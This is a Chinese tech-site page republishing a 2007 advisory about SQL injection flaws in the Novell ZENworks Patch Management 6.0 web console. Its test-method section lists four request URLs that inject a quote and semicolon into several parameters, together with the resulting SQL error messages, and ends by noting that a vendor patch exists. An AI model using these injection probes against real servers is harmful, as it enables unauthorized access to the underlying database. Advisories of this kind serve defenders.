文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络编程数据库Novell ZENworks补丁管理SQL注入漏洞
精品推荐
特别推荐
·SQL数据库完全使用手册
·进阶:精妙SQL语句介绍
·sql删除记录
·学习SQL语句之SQL语句大全
·数据备份失败的五个原因及解决办法
·解决SQL Server常见的七个经典问题
·SQL存储过程的概念,创建,调用,管理,删除,优点
·带你轻松接触13个数据库术语
·如何恢复系统数据库如何恢复系统数据库?
·通过实例讲解由浅入深学会存储过程
·学会三个范式快速成为数据库设计的高手
·SQL数据库应聘人员面试时经常被问的问题
·问答:查询分析器不能单步调试的的原因
·数据库基础知识:SQL中的IIF语句详解
·WindowsXP+IIS+PHP5+MySQL5+Zend+GD库+phpMyAdmin+PHPWind 5.3 安装教程
·你知道吗?优化数据库前的十大问题
·自动备份注意事项让你远离误删数据噩梦
·关于MSSQL数据库日志满的快速解决办法
·SQL安全设置攻略
·SQL注入的不常见方法
热点TOP10
·学习SQL语句之SQL语句大全
·SQL数据库完全使用手册
·玩转Windows桌面图标
·精妙SQL语句收集
·Transact SQL 常用语句以及函数
·一个简单的酒店系统的数据库设计
·sqlldr使用小结
·使用DatabaseMetaDate获取数据库信息
·WindowsXP+IIS+PHP5+MySQL5+Zend+GD库+phpMyAdmin+PHPWind 5.3 安装教程
·Delphi程序执行时实时生成报表
·图片保存到数据库和从数据库读取图片并显示(c#)
·VB.NET的数据库基础编程(1)
·SQL查询语句精华使用简要
·如何实现将vsflexgrid中修改的数据反馈到数据库中
·SQL优化34条
·SQL 新增/修改 表字段列的类型等
·还原数据库的经典做法
·通过分析SQL语句的执行计划优化SQL(二)
·通过Remoting service上传文件
·sql删除记录

Novell ZENworks补丁管理SQL注入漏洞

日期:2007年7月8日 作者: 查看:[大字体 中字体 小字体]


受影响系统:

Novell ZENworks Patch Managemen 6.0.0.52

不受影响系统:

Novell ZENworks Patch Managemen 6.2

描述:

BUGTRAQ ID: 15220

Novell的ZENworks组件允许组织从SuSE Linux平台管理Windows工作站,Patch Management是其中用于管理补丁的组件。ZENworks Patch Management的管理控制台中存在多个SQL注入漏洞,远程攻击者可以完全入侵基础数据库系统。但如果要利用这个漏洞,管理员应至少手动创建了一个非特权用户帐号。

测试方法:

【警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

http://192.168.1.10/computers/default.asp?sort=&Direction=';
Response from server: Incorrect syntax near ', @RecsPerPage=100, @FirstRec=0, @Action=0, 
@Search = ', @groupFilter = '.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=';StatusFilter=ERRR&computerFilter=187&impactFilter=29&saveFilter=save
&Page=rep
Response from server: Incorrecy syntax near ', @delimiter='.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=CIRT.DK&StatusFilter=';&computerFilter=187&impactFilter=29&saveFilter=
save&Page=rep
Response from server: Incorrect syntax near ', @groupFilter = ', @ImpactFilter = '.

http://192.168.1.10/reports/default.asp?sort=[ReportImpact_Name]
&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter
=save&Page=rep
Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.

建议:

厂商补丁:

Novell

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

(出处:清风网络学院






上一篇:推荐:监控数据库性能的SQL语句汇总

下一篇:用JDBC连接Oracle数据库的十项技巧

Novell ZENworks补丁管理SQL注入漏洞 相关文章:
·学生成绩管理系统实习
·IE浏览器再现严重安全漏洞 微软紧急发补丁程序
·VB+Access设计图书管理系统
·《暗黑破坏神2》1.10补丁升级详细说明 - 游戏攻略
·仅用U盘就可以去除XP管理员密码
·如何给XP设置超级管理员密码
·我的oracle笔记四(DBA管理)
·改编 的 C版 职工管理系统
·局域网IP地址的分配、管理和设置
·利用腾讯漏洞取回QQ密码
Novell ZENworks补丁管理SQL注入漏洞 相关软件:
·时代光华 销售管理课程(1-5)
·学校源码管理系统超靓版V2008
·时代光华-卓越的现场管理 5S推行实务(刘敏欣)(下)
·仙剑奇侠传2中文版 完美破解补丁
·使用GPMC随心所欲管理组策略
·时代光华-卓越客户管理(11-15)
·《模拟人生2》破解马赛克补丁
·公司企业网站管理系统模板功能强大版
·《劲舞团》反外挂报错修复补丁
·企业标准化管理制度大全

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot